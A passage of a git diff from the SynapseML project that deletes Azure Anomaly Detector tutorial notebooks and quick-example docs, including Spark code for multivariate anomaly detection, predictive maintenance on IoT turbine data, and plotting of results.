col(\"sensor_1\").cast(DoubleType()))\n", - " .withColumn(\"sensor_2\", col(\"sensor_2\").cast(DoubleType()))\n", - " .withColumn(\"sensor_3\", col(\"sensor_3\").cast(DoubleType()))\n", - ")\n", - "\n", - "# Let's inspect the dataframe:\n", - "df.show(5)" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": { - "application/vnd.databricks.v1+cell": { - "inputWidgets": {}, - "nuid": "e9bd6780-dcd1-4ee6-8116-eb2b4c6950c9", - "showTitle": false, - "title": "" - } - }, - "source": [ - "We can now create an `estimator` object, which is used to train our model. We specify the start and end times for the training data. We also specify the input columns to use, and the name of the column that contains the timestamps. Finally, we specify the number of data points to use in the anomaly detection sliding window, and we set the connection string to the Azure Blob Storage Account. " - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "trainingStartTime = \"2020-06-01T12:00:00Z\"\n", - "trainingEndTime = \"2020-07-02T17:55:00Z\"\n", - "timestampColumn = \"timestamp\"\n", - "inputColumns = [\"sensor_1\", \"sensor_2\", \"sensor_3\"]\n", - "\n", - "estimator = (\n", - " SimpleFitMultivariateAnomaly()\n", - " .setSubscriptionKey(anomalyKey)\n", - " .setLocation(location)\n", - " .setStartTime(trainingStartTime)\n", - " .setEndTime(trainingEndTime)\n", - " .setIntermediateSaveDir(intermediateSaveDir)\n", - " .setTimestampCol(timestampColumn)\n", - " .setInputCols(inputColumns)\n", - " .setSlidingWindow(200)\n", - ")" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Now that we created the `estimator`, let's fit it to the data:" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "model = estimator.fit(df)" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Once the training is done, we can now use the model for inference. The code in the next cell specifies the start and end times for the data we would like to detect the anomalies in. " - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "application/vnd.databricks.v1+cell": { - "inputWidgets": {}, - "nuid": "89b54ad2-3474-4e1e-a9c7-829e703831d0", - "showTitle": false, - "title": "" - } - }, - "outputs": [], - "source": [ - "inferenceStartTime = \"2020-07-02T18:00:00Z\"\n", - "inferenceEndTime = \"2020-07-06T05:15:00Z\"\n", - "\n", - "result = (\n", - " model.setStartTime(inferenceStartTime)\n", - " .setEndTime(inferenceEndTime)\n", - " .setOutputCol(\"results\")\n", - " .setErrorCol(\"errors\")\n", - " .setInputCols(inputColumns)\n", - " .setTimestampCol(timestampColumn)\n", - " .transform(df)\n", - ")\n", - "\n", - "result.show(5)" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "When we called `.show(5)` in the previous cell, it showed us the first five rows in the dataframe. The results were all `null` because they weren't inside the inference window.\n", - "\n", - "To show the results only for the inferred data, lets select the columns we need. We can then order the rows in the dataframe by ascending order, and filter the result to only show the rows that are in the range of the inference window. In our case `inferenceEndTime` is the same as the last row in the dataframe, so can ignore that. \n", - "\n", - "Finally, to be able to better plot the results, lets convert the Spark dataframe to a Pandas dataframe.\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "application/vnd.databricks.v1+cell": { - "inputWidgets": {}, - "nuid": "18c9be87-c4e7-4221-9135-b80b3788c43e", - "showTitle": false, - "title": "" - } - }, - "outputs": [], - "source": [ - "rdf = (\n", - " result.select(\n", - " \"timestamp\",\n", - " *inputColumns,\n", - " \"results.interpretation\",\n", - " \"isAnomaly\",\n", - " \"results.severity\"\n", - " )\n", - " .orderBy(\"timestamp\", ascending=True)\n", - " .filter(col(\"timestamp\") >= lit(inferenceStartTime))\n", - " .toPandas()\n", - ")\n", - "\n", - "rdf" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Format the `contributors` column that stores the contribution score from each sensor to the detected anomalies. The next cell formats this data, and splits the contribution score of each sensor into its own column." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "For Spark3.3 and below versions, the output of select statements will be in the format of `List`, so to format the data into dictionary and generate the values when interpretation is empty, please use the below parse method:\n", - "\n", - "```\n", - "def parse(x):\n", - " if len(x) > 0:\n", - " return dict([item[:2] for item in x])\n", - " else:\n", - " return {\"sensor_1\": 0, \"sensor_2\": 0, \"sensor_3\": 0}\n", - "```\n", - "\n", - "Staring with Spark3.4, the output of the select statement is already formatted as a `numpy.ndarry` and no need to format the data again, so please use below parse method to generate the values when interpretation is empty:\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "application/vnd.databricks.v1+cell": { - "inputWidgets": {}, - "nuid": "5b4e072f-e0e6-4362-a321-bbfae41dea0c", - "showTitle": false, - "title": "" - } - }, - "outputs": [], - "source": [ - "def parse(x):\n", - " if len(x) == 0:\n", - " return {\"sensor_1\": 0, \"sensor_2\": 0, \"sensor_3\": 0}\n", - "\n", - "\n", - "rdf[\"contributors\"] = rdf[\"interpretation\"].apply(parse)\n", - "rdf = pd.concat(\n", - " [\n", - " rdf.drop([\"contributors\"], axis=1),\n", - " pd.json_normalize(rdf[\"contributors\"]).rename(\n", - " columns={\n", - " \"sensor_1\": \"series_1\",\n", - " \"sensor_2\": \"series_2\",\n", - " \"sensor_3\": \"series_3\",\n", - " }\n", - " ),\n", - " ],\n", - " axis=1,\n", - ")\n", - "rdf" - ] - }, - { - "cell_type": "markdown", - "metadata": { - "application/vnd.databricks.v1+cell": { - "inputWidgets": {}, - "nuid": "67943277-ef55-4a84-a478-0e89dbf33d6a", - "showTitle": false, - "title": "" - } - }, - "source": [ - "Great! We now have the contribution scores of sensors 1, 2, and 3 in the `series_0`, `series_1`, and `series_2` columns respectively. \n", - "\n", - "Run the next cell to plot the results. The `minSeverity` parameter specifies the minimum severity of the anomalies to be plotted." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "application/vnd.databricks.v1+cell": { - "inputWidgets": {}, - "nuid": "5b259f82-9e91-4034-b5f9-4a2bc49a59ef", - "showTitle": false, - "title": "" - } - }, - "outputs": [], - "source": [ - "minSeverity = 0.1\n", - "\n", - "\n", - "####### Main Figure #######\n", - "plt.figure(figsize=(23, 8))\n", - "plt.plot(\n", - " rdf[\"timestamp\"],\n", - " rdf[\"sensor_1\"],\n", - " color=\"tab:orange\",\n", - " linestyle=\"solid\",\n", - " linewidth=2,\n", - " label=\"sensor_1\",\n", - ")\n", - "plt.plot(\n", - " rdf[\"timestamp\"],\n", - " rdf[\"sensor_2\"],\n", - " color=\"tab:green\",\n", - " linestyle=\"solid\",\n", - " linewidth=2,\n", - " label=\"sensor_2\",\n", - ")\n", - "plt.plot(\n", - " rdf[\"timestamp\"],\n", - " rdf[\"sensor_3\"],\n", - " color=\"tab:blue\",\n", - " linestyle=\"solid\",\n", - " linewidth=2,\n", - " label=\"sensor_3\",\n", - ")\n", - "plt.grid(axis=\"y\")\n", - "plt.tick_params(axis=\"x\", which=\"both\", bottom=False, labelbottom=False)\n", - "plt.legend()\n", - "\n", - "anoms = list(rdf[\"severity\"] >= minSeverity)\n", - "_, _, ymin, ymax = plt.axis()\n", - "plt.vlines(list(np.where(anoms)[0]), ymin=ymin, ymax=ymax, color=\"r\", alpha=0.8)\n", - "\n", - "plt.legend()\n", - "plt.title(\n", - " \"A plot of the values from the three sensors with the detected anomalies highlighted in red.\"\n", - ")\n", - "plt.show()\n", - "\n", - "####### Severity Figure #######\n", - "plt.figure(figsize=(23, 1))\n", - "plt.tick_params(axis=\"x\", which=\"both\", bottom=False, labelbottom=False)\n", - "plt.plot(\n", - " rdf[\"timestamp\"],\n", - " rdf[\"severity\"],\n", - " color=\"black\",\n", - " linestyle=\"solid\",\n", - " linewidth=2,\n", - " label=\"Severity score\",\n", - ")\n", - "plt.plot(\n", - " rdf[\"timestamp\"],\n", - " [minSeverity] * len(rdf[\"severity\"]),\n", - " color=\"red\",\n", - " linestyle=\"dotted\",\n", - " linewidth=1,\n", - " label=\"minSeverity\",\n", - ")\n", - "plt.grid(axis=\"y\")\n", - "plt.legend()\n", - "plt.ylim([0, 1])\n", - "plt.title(\"Severity of the detected anomalies\")\n", - "plt.show()\n", - "\n", - "####### Contributors Figure #######\n", - "plt.figure(figsize=(23, 1))\n", - "plt.tick_params(axis=\"x\", which=\"both\", bottom=False, labelbottom=False)\n", - "plt.bar(\n", - " rdf[\"timestamp\"], rdf[\"series_1\"], width=2, color=\"tab:orange\", label=\"sensor_1\"\n", - ")\n", - "plt.bar(\n", - " rdf[\"timestamp\"],\n", - " rdf[\"series_2\"],\n", - " width=2,\n", - " color=\"tab:green\",\n", - " label=\"sensor_2\",\n", - " bottom=rdf[\"series_1\"],\n", - ")\n", - "plt.bar(\n", - " rdf[\"timestamp\"],\n", - " rdf[\"series_3\"],\n", - " width=2,\n", - " color=\"tab:blue\",\n", - " label=\"sensor_3\",\n", - " bottom=rdf[\"series_1\"] + rdf[\"series_2\"],\n", - ")\n", - "plt.grid(axis=\"y\")\n", - "plt.legend()\n", - "plt.ylim([0, 1])\n", - "plt.title(\"The contribution of each sensor to the detected anomaly\")\n", - "plt.show()" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "" - ] - }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": { - "application/vnd.databricks.v1+cell": { - "inputWidgets": {}, - "nuid": "d999ebc4-320b-45ab-9196-f3067e06ccd5", - "showTitle": false, - "title": "" - } - }, - "source": [ - "The plots show the raw data from the sensors (inside the inference window) in orange, green, and blue. The red vertical lines in the first figure show the detected anomalies that have a severity greater than or equal to `minSeverity`. \n", - "\n", - "The second plot shows the severity score of all the detected anomalies, with the `minSeverity` threshold shown in the dotted red line.\n", - "\n", - "Finally, the last plot shows the contribution of the data from each sensor to the detected anomalies. It helps us diagnose and understand the most likely cause of each anomaly." - ] - } - ], - "metadata": { - "application/vnd.databricks.v1+notebook": { - "dashboards": [], - "language": "python", - "notebookMetadata": { - "pythonIndentUnit": 4 - }, - "notebookName": "sample_mvad_notebook", - "notebookOrigID": 595270988434496, - "widgets": {} - }, - "kernelspec": { - "display_name": "dev", - "language": "python", - "name": "dev" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.7.12" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} diff --git a/docs/Explore Algorithms/AI Services/Overview.ipynb b/docs/Explore Algorithms/AI Services/Overview.ipynb index 88ad114fbe8..978312c222d 100644 --- a/docs/Explore Algorithms/AI Services/Overview.ipynb +++ b/docs/Explore Algorithms/AI Services/Overview.ipynb @@ -29,19 +29,6 @@ "SynapseML allows you to build powerful and highly scalable predictive and analytical models from various Spark data sources. Synapse Spark provide built-in SynapseML libraries including synapse.ml.services." ] }, - { - "cell_type": "markdown", - "metadata": { - "tags": [ - "important", - "alert" - ] - }, - "source": [ - "## Important\n", - "Starting on the 20th of September, 2023 you won\u2019t be able to create new Anomaly Detector resources. The Anomaly Detector service is being retired on the 1st of October, 2026." - ] - }, { "cell_type": "markdown", "metadata": { @@ -137,11 +124,6 @@ "- Get Custom Model: Get detailed information about a custom model. ([Scala](https://mmlspark.blob.core.windows.net/docs/1.0.15/scala/com/microsoft/azure/synapse/ml/services/form/GetCustomModel.html), [Python](https://mmlspark.blob.core.windows.net/docs/1.0.15/scala/com/microsoft/azure/synapse/ml/services/form/ListCustomModels.html))\n", "- List Custom Models: Get information about all custom models. ([Scala](https://mmlspark.blob.core.windows.net/docs/1.0.15/scala/com/microsoft/azure/synapse/ml/services/form/ListCustomModels.html), [Python](https://mmlspark.blob.core.windows.net/docs/1.0.15/pyspark/synapse.ml.services.form.html#module-synapse.ml.services.form.ListCustomModels))\n", "\n", - "### Decision\n", - "[**Anomaly Detector**](https://azure.microsoft.com/products/ai-services/ai-anomaly-detector)\n", - "- Anomaly status of latest point: generates a model using preceding points and determines whether the latest point is anomalous ([Scala](https://mmlspark.blob.core.windows.net/docs/1.0.15/scala/com/microsoft/azure/synapse/ml/services/anomaly/DetectLastAnomaly.html), [Python](https://mmlspark.blob.core.windows.net/docs/1.0.15/pyspark/synapse.ml.services.anomaly.html#module-synapse.ml.services.anomaly.DetectLastAnomaly))\n", - "- Find anomalies: generates a model using an entire series and finds anomalies in the series ([Scala](https://mmlspark.blob.core.windows.net/docs/1.0.15/scala/com/microsoft/azure/synapse/ml/services/anomaly/DetectAnomalies.html), [Python](https://mmlspark.blob.core.windows.net/docs/1.0.15/pyspark/synapse.ml.services.anomaly.html#module-synapse.ml.services.anomaly.DetectAnomalies))\n", - "\n", "### Search\n", "- [**Azure Cognitive search**](https://docs.microsoft.com/azure/search/search-what-is-azure-search) ([Scala](https://mmlspark.blob.core.windows.net/docs/1.0.15/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchWriter$.html), [Python](https://mmlspark.blob.core.windows.net/docs/1.0.15/pyspark/synapse.ml.services.search.html#module-synapse.ml.services.search.AzureSearchWriter))" ] @@ -191,12 +173,6 @@ ") # Replace the call to find_secret with your key as a python string. e.g. service_key=\"27snaiw...\"\n", "service_loc = \"eastus\"\n", "\n", - "# An Anomaly Detector subscription key\n", - "anomaly_key = find_secret(\n", - " secret_name=\"anomaly-api-key\", keyvault=\"mmlspark-build-keys\"\n", - ") # Replace the call to find_secret with your key as a python string. If you don't have an anomaly detection resource created before Sep 20th 2023, you won't be able to create one.\n", - "anomaly_loc = \"westus2\"\n", - "\n", "# A Translator subscription key\n", "translator_key = find_secret(\n", " secret_name=\"translator-key\", keyvault=\"mmlspark-build-keys\"\n", @@ -521,64 +497,6 @@ "display(tts.transform(df))" ] }, - { - "attachments": {}, - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Detect anomalies in time series data\n", - "\n", - "If you don't have an anomaly detection resource created before Sep 20th 2023, you won't be able to create one. You may want to skip this part.\n", - "\n", - "[Anomaly Detector](https://azure.microsoft.com/services/cognitive-services/anomaly-detector/) is great for detecting irregularities in your time series data. The following code sample uses the Anomaly Detector service to find anomalies in a time series." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Create a dataframe with the point data that Anomaly Detector requires\n", - "df = spark.createDataFrame(\n", - " [\n", - " (\"1972-01-01T00:00:00Z\", 826.0),\n", - " (\"1972-02-01T00:00:00Z\", 799.0),\n", - " (\"1972-03-01T00:00:00Z\", 890.0),\n", - " (\"1972-04-01T00:00:00Z\", 900.0),\n", - " (\"1972-05-01T00:00:00Z\", 766.0),\n", - " (\"1972-06-01T00:00:00Z\", 805.0),\n", - " (\"1972-07-01T00:00:00Z\", 821.0),\n", - " (\"1972-08-01T00:00:00Z\", 20000.0),\n", - " (\"1972-09-01T00:00:00Z\", 883.0),\n", - " (\"1972-10-01T00:00:00Z\", 898.0),\n", - " (\"1972-11-01T00:00:00Z\", 957.0),\n", - " (\"1972-12-01T00:00:00Z\", 924.0),\n", - " (\"1973-01-01T00:00:00Z\", 881.0),\n", - " (\"1973-02-01T00:00:00Z\", 837.0),\n", - " (\"1973-03-01T00:00:00Z\", 9000.0),\n", - " ],\n", - " [\"timestamp\", \"value\"],\n", - ").withColumn(\"group\", lit(\"series1\"))\n", - "\n", - "# Run the Anomaly Detector service to look for irregular data\n", - "anamoly_detector = (\n", - " SimpleDetectAnomalies()\n", - " .setSubscriptionKey(anomaly_key)\n", - " .setLocation(anomaly_loc)\n", - " .setTimestampCol(\"timestamp\")\n", - " .setValueCol(\"value\")\n", - " .setOutputCol(\"anomalies\")\n", - " .setGroupbyCol(\"group\")\n", - " .setGranularity(\"monthly\")\n", - ")\n", - "\n", - "# Show the full results of the analysis with the anomalies marked as \"True\"\n", - "display(\n", - " anamoly_detector.transform(df).select(\"timestamp\", \"value\", \"anomalies.isAnomaly\")\n", - ")" - ] - }, { "cell_type": "markdown", "metadata": {}, diff --git a/docs/Explore Algorithms/AI Services/Quickstart - Predictive Maintenance.ipynb b/docs/Explore Algorithms/AI Services/Quickstart - Predictive Maintenance.ipynb deleted file mode 100644 index 127ae47ff99..00000000000 --- a/docs/Explore Algorithms/AI Services/Quickstart - Predictive Maintenance.ipynb +++ /dev/null @@ -1,274 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Recipe: Predictive maintenance with the Azure AI Services for Big Data\n", - "\n", - "This recipe shows how you can use Azure Synapse Analytics and Azure AI services on Apache Spark for predictive maintenance of IoT devices. We'll follow along with the [CosmosDB and Synapse Link](https://github.com/Azure-Samples/cosmosdb-synapse-link-samples) sample. To keep things simple, in this recipe we'll read the data straight from a CSV file rather than getting streamed data through CosmosDB and Synapse Link. We strongly encourage you to look over the Synapse Link sample." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Important\n", - "\n", - "Starting on the 20th of September, 2023 you won’t be able to create new Anomaly Detector resources. The Anomaly Detector service is being retired on the 1st of October, 2026." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Hypothetical scenario\n", - "\n", - "The hypothetical scenario is a Power Plant, where IoT devices are monitoring [steam turbines](https://en.wikipedia.org/wiki/Steam_turbine). The IoTSignals collection has Revolutions per minute (RPM) and Megawatts (MW) data for each turbine. Signals from steam turbines are being analyzed and anomalous signals are detected.\n", - "\n", - "There could be outliers in the data in random frequency. In those situations, RPM values will go up and MW output will go down, for circuit protection. The idea is to see the data varying at the same time, but with different signals.\n", - "\n", - "## Prerequisites\n", - "\n", - "* An Azure subscription - [Create one for free](https://azure.microsoft.com/free/)\n", - "* [Azure Synapse workspace](https://docs.microsoft.com/azure/synapse-analytics/get-started-create-workspace) configured with a [serverless Apache Spark pool](https://docs.microsoft.com/en-us/azure/synapse-analytics/get-started-analyze-spark)\n", - "\n", - "## Setup\n", - "\n", - "### Create an Anomaly Detector resource\n", - "\n", - "Azure AI Services are represented by Azure resources that you subscribe to. Create a resource for Translator using the [Azure portal](https://docs.microsoft.com/azure/cognitive-services/cognitive-services-apis-create-account?tabs=multiservice%2Clinux) or [Azure CLI](https://learn.microsoft.com/azure/ai-services/multi-service-resource). You can also:\n", - "\n", - "- View an existing resource in the [Azure portal](https://portal.azure.com/).\n", - "\n", - "Make note of the endpoint and the key for this resource, you'll need it in this guide." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Enter your service keys\n", - "\n", - "Let's start by adding your key and location." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "import os\n", - "from synapse.ml.core.platform import find_secret\n", - "\n", - "service_key = find_secret(\n", - " secret_name=\"anomaly-api-key\", keyvault=\"mmlspark-build-keys\"\n", - ") # Paste your anomaly detector key here\n", - "location = \"westus2\" # Paste your anomaly detector location here" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Read data into a DataFrame\n", - "\n", - "Next, let's read the IoTSignals file into a DataFrame. Open a new notebook in your Synapse workspace and create a DataFrame from the file." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "df_signals = spark.read.csv(\n", - " \"wasbs://publicwasb@mmlspark.blob.core.windows.net/iot/IoTSignals.csv\",\n", - " header=True,\n", - " inferSchema=True,\n", - ")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Run anomaly detection using AI services on Spark\n", - "\n", - "The goal is to find instances where the signals from the IoT devices were outputting anomalous values so that we can see when something is going wrong and do predictive maintenance. To do that, let's use Anomaly Detector on Spark:" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from pyspark.sql.functions import col, struct\n", - "from synapse.ml.services.anomaly import SimpleDetectAnomalies\n", - "from synapse.ml.core.spark import FluentAPI\n", - "\n", - "detector = (\n", - " SimpleDetectAnomalies()\n", - " .setSubscriptionKey(service_key)\n", - " .setLocation(location)\n", - " .setOutputCol(\"anomalies\")\n", - " .setGroupbyCol(\"grouping\")\n", - " .setSensitivity(95)\n", - " .setGranularity(\"secondly\")\n", - ")\n", - "\n", - "df_anomaly = (\n", - " df_signals.where(col(\"unitSymbol\") == \"RPM\")\n", - " .withColumn(\"timestamp\", col(\"dateTime\").cast(\"string\"))\n", - " .withColumn(\"value\", col(\"measureValue\").cast(\"double\"))\n", - " .withColumn(\"grouping\", struct(\"deviceId\"))\n", - " .mlTransform(detector)\n", - ").cache()\n", - "\n", - "df_anomaly.createOrReplaceTempView(\"df_anomaly\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Let's take a look at the data:" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "df_anomaly.select(\"timestamp\", \"value\", \"deviceId\", \"anomalies.isAnomaly\").show(3)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "This cell should yield a result that looks like:\n", - "\n", - "| timestamp | value | deviceId | isAnomaly |\n", - "|:--------------------|--------:|:-----------|:------------|\n", - "| 2020-05-01 18:33:51 | 3174 | dev-7 | False |\n", - "| 2020-05-01 18:33:52 | 2976 | dev-7 | False |\n", - "| 2020-05-01 18:33:53 | 2714 | dev-7 | False |" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Visualize anomalies for one of the devices\n", - "\n", - "IoTSignals.csv has signals from multiple IoT devices. We'll focus on a specific device and visualize anomalous outputs from the device." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "df_anomaly_single_device = spark.sql(\n", - " \"\"\"\n", - "select\n", - " timestamp,\n", - " measureValue,\n", - " anomalies.expectedValue,\n", - " anomalies.expectedValue + anomalies.upperMargin as expectedUpperValue,\n", - " anomalies.expectedValue - anomalies.lowerMargin as expectedLowerValue,\n", - " case when anomalies.isAnomaly=true then 1 else 0 end as isAnomaly\n", - "from\n", - " df_anomaly\n", - "where deviceid = 'dev-1' and timestamp < '2020-04-29'\n", - "order by timestamp\n", - "limit 200\"\"\"\n", - ")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Now that we have created a dataframe that represents the anomalies for a particular device, we can visualize these anomalies:" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "import matplotlib.pyplot as plt\n", - "from pyspark.sql.functions import col\n", - "\n", - "adf = df_anomaly_single_device.toPandas()\n", - "adf_subset = df_anomaly_single_device.where(col(\"isAnomaly\") == 1).toPandas()\n", - "\n", - "plt.figure(figsize=(23, 8))\n", - "plt.plot(\n", - " adf[\"timestamp\"],\n", - " adf[\"expectedUpperValue\"],\n", - " color=\"darkred\",\n", - " linestyle=\"solid\",\n", - " linewidth=0.25,\n", - " label=\"UpperMargin\",\n", - ")\n", - "plt.plot(\n", - " adf[\"timestamp\"],\n", - " adf[\"expectedValue\"],\n", - " color=\"darkgreen\",\n", - " linestyle=\"solid\",\n", - " linewidth=2,\n", - " label=\"Expected Value\",\n", - ")\n", - "plt.plot(\n", - " adf[\"timestamp\"],\n", - " adf[\"measureValue\"],\n", - " \"b\",\n", - " color=\"royalblue\",\n", - " linestyle=\"dotted\",\n", - " linewidth=2,\n", - " label=\"Actual\",\n", - ")\n", - "plt.plot(\n", - " adf[\"timestamp\"],\n", - " adf[\"expectedLowerValue\"],\n", - " color=\"black\",\n", - " linestyle=\"solid\",\n", - " linewidth=0.25,\n", - " label=\"Lower Margin\",\n", - ")\n", - "plt.plot(adf_subset[\"timestamp\"], adf_subset[\"measureValue\"], \"ro\", label=\"Anomaly\")\n", - "plt.legend()\n", - "plt.title(\"RPM Anomalies with Confidence Intervals\")\n", - "plt.show()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "If successful, your output will look like this:\n", - "\n", - "![Anomaly Detector Plot](https://github.com/MicrosoftDocs/azure-docs/raw/master/articles/cognitive-services/big-data/media/anomaly-output.png)\n", - "\n", - "## Next steps\n", - "\n", - "Learn how to do predictive maintenance at scale with Azure AI services, Azure Synapse Analytics, and Azure CosmosDB. For more information, see the full sample on [GitHub](https://github.com/Azure-Samples/cosmosdb-synapse-link-samples)." - ] - } - ], - "metadata": { - "language_info": { - "name": "python" - } - }, - "nbformat": 4, - "nbformat_minor": 0 -} diff --git a/docs/Quick Examples/estimators/cognitive/_MAD.md b/docs/Quick Examples/estimators/cognitive/_MAD.md deleted file mode 100644 index 9c285767f3e..00000000000 --- a/docs/Quick Examples/estimators/cognitive/_MAD.md +++ /dev/null @@ -1,97 +0,0 @@ -import Tabs from '@theme/Tabs'; -import TabItem from '@theme/TabItem'; -import DocTable from "@theme/DocumentationTable"; - - - - -## SimpleFitMultivariateAnomaly - - - - - - -```python -from synapse.ml.services import * - -anomalyKey = os.environ.get("ANOMALY_API_KEY", getSecret("anomaly-api-key")) -startTime = "2021-01-01T00:00:00Z" -endTime = "2021-01-03T01:59:00Z" -timestampColumn = "timestamp" -inputColumns = ["feature0", "feature1", "feature2"] -intermediateSaveDir = "wasbs://madtest@anomalydetectiontest.blob.core.windows.net/intermediateData" - -simpleFitMultivariateAnomaly = (SimpleFitMultivariateAnomaly() - .setSubscriptionKey(anomalyKey) - .setLocation("westus2") - .setOutputCol("result") - .setStartTime(startTime) - .setEndTime(endTime) - .setIntermediateSaveDir(intermediateSaveDir) - .setTimestampCol(timestampColumn) - .setInputCols(inputColumns) - .setSlidingWindow(50)) - -# uncomment below for fitting your own dataframe -# model = simpleFitMultivariateAnomaly.fit(df) -# simpleFitMultivariateAnomaly.cleanUpIntermediateData() -``` - - - - -```scala -import com.microsoft.azure.synapse.ml.services.anomaly.FitMultivariateAnomaly - -val startTime: String = "2021-01-01T00:00:00Z" -val endTime: String = "2021-01-02T12:00:00Z" -val timestampColumn: String = "timestamp" -val inputColumns: Array[String] = Array("feature0", "feature1", "feature2") -val intermediateSaveDir: String = "wasbs://madtest@anomalydetectiontest.blob.core.windows.net/intermediateData" -val anomalyKey = sys.env.getOrElse("ANOMALY_API_KEY", None) - -val simpleFitMultivariateAnomaly = (new SimpleFitMultivariateAnomaly() - .setSubscriptionKey(anomalyKey) - .setLocation("westus2") - .setOutputCol("result") - .setStartTime(startTime) - .setEndTime(endTime) - .setIntermediateSaveDir(intermediateSaveDir) - .setTimestampCol(timestampColumn) - .setInputCols(inputColumns) - .setSlidingWindow(50)) - -val df = (spark.read.format("csv") - .option("header", True) - .load("wasbs://datasets@mmlspark.blob.core.windows.net/MAD/mad_example.csv")) - -val model = simpleFitMultivariateAnomaly.fit(df) - -val result = (model - .setStartTime(startTime) - .setEndTime(endTime) - .setOutputCol("result") - .setTimestampCol(timestampColumn) - .setInputCols(inputColumns) - .transform(df)) - -result.show() - -simpleFitMultivariateAnomaly.cleanUpIntermediateData() -model.cleanUpIntermediateData() -``` - - - - - diff --git a/docs/Quick Examples/estimators/estimators_cognitive.md b/docs/Quick Examples/estimators/estimators_cognitive.md deleted file mode 100644 index e5cd2ef5f2d..00000000000 --- a/docs/Quick Examples/estimators/estimators_cognitive.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Estimators - Cognitive -sidebar_label: Cognitive -hide_title: true ---- - - -import MAD, {toc as MADTOC} from './cognitive/_MAD.md'; - - - -export const toc = [...MADTOC] diff --git a/docs/Quick Examples/transformers/cognitive/_AnomalyDetection.md b/docs/Quick Examples/transformers/cognitive/_AnomalyDetection.md deleted file mode 100644 index 5bae8f93cbc..00000000000 --- a/docs/Quick Examples/transformers/cognitive/_AnomalyDetection.md +++ /dev/null @@ -1,319 +0,0 @@ -import Tabs from '@theme/Tabs'; -import TabItem from '@theme/TabItem'; -import DocTable from "@theme/DocumentationTable"; - - - - -## Anomaly Detection - -### DetectLastAnomaly - - - - - - -```python -from synapse.ml.services import * -from pyspark.sql.functions import lit - -anomalyKey = os.environ.get("ANOMALY_API_KEY", getSecret("anomaly-api-key")) -df = (spark.createDataFrame([ - ("1972-01-01T00:00:00Z", 826.0), - ("1972-02-01T00:00:00Z", 799.0), - ("1972-03-01T00:00:00Z", 890.0), - ("1972-04-01T00:00:00Z", 900.0), - ("1972-05-01T00:00:00Z", 766.0), - ("1972-06-01T00:00:00Z", 805.0), - ("1972-07-01T00:00:00Z", 821.0), - ("1972-08-01T00:00:00Z", 20000.0), - ("1972-09-01T00:00:00Z", 883.0), - ("1972-10-01T00:00:00Z", 898.0), - ("1972-11-01T00:00:00Z", 957.0), - ("1972-12-01T00:00:00Z", 924.0), - ("1973-01-01T00:00:00Z", 881.0), - ("1973-02-01T00:00:00Z", 837.0), - ("1973-03-01T00:00:00Z", 90000.0) -], ["timestamp", "value"]) - .withColumn("group", lit(1)) - .withColumn("inputs", struct(col("timestamp"), col("value"))) - .groupBy(col("group")) - .agg(sort_array(collect_list(col("inputs"))).alias("inputs"))) - -dla = (DetectLastAnomaly() - .setSubscriptionKey(anomalyKey) - .setLocation("westus2") - .setOutputCol("anomalies") - .setSeriesCol("inputs") - .setGranularity("monthly") - .setErrorCol("errors")) - -dla.transform(df).show() -``` - - - - -```scala -import com.microsoft.azure.synapse.ml.services.anomaly.DetectLastAnomaly -import spark.implicits._ -import org.apache.spark.sql.functions.{col, collect_list, lit, sort_array, struct} - -val anomalyKey = sys.env.getOrElse("ANOMALY_API_KEY", None) -val df = (Seq( - ("1972-01-01T00:00:00Z", 826.0), - ("1972-02-01T00:00:00Z", 799.0), - ("1972-03-01T00:00:00Z", 890.0), - ("1972-04-01T00:00:00Z", 900.0), - ("1972-05-01T00:00:00Z", 766.0), - 